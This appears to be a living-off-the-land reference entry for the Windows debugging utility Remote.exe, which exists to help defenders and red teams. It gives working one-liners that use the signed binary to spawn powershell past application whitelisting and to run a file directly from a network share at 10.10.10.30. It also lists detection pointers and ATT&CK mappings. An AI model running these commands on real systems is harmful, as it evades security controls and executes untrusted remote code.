



/Remote.exe ☆ Star 7,060

AWL bypass

Execute

Debugging tool included with Windows Debugging Tools

Paths:
C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exe
C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\remote.exe

Resources:

- <https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/>

Acknowledgements:

- mr.d0x ([@mrd0x](#))

Detections:

- IOC: remote.exe process spawns
- Sigma: [proc_creation_win_lolbin_remote.yml](#)

AWL bypass

Spawns powershell as a child process of remote.exe

```
Remote.exe /s "powershell.exe" anythinghere
```

Use case: Executes a process under a trusted Microsoft signed binary
Privileges required: User
Operating systems: Windows
ATT&CK® technique: [T1127: Trusted Developer Utilities Proxy Execution](#)

Execute

- Spawns powershell as a child process of remote.exe

```
Remote.exe /s "powershell.exe" anythinghere
```

Use case: Executes a process under a trusted Microsoft signed binary
Privileges required: User
Operating systems: Windows
ATT&CK® technique: [T1127: Trusted Developer Utilities Proxy Execution](#)

- Run a remote file

```
Remote.exe /s "\\10.10.10.30\binaries\file.exe" anythinghere
```

Use case: Executing a remote binary without saving file to disk
Privileges required: User
Operating systems: Windows
ATT&CK® technique: [T1127: Trusted Developer Utilities Proxy Execution](#)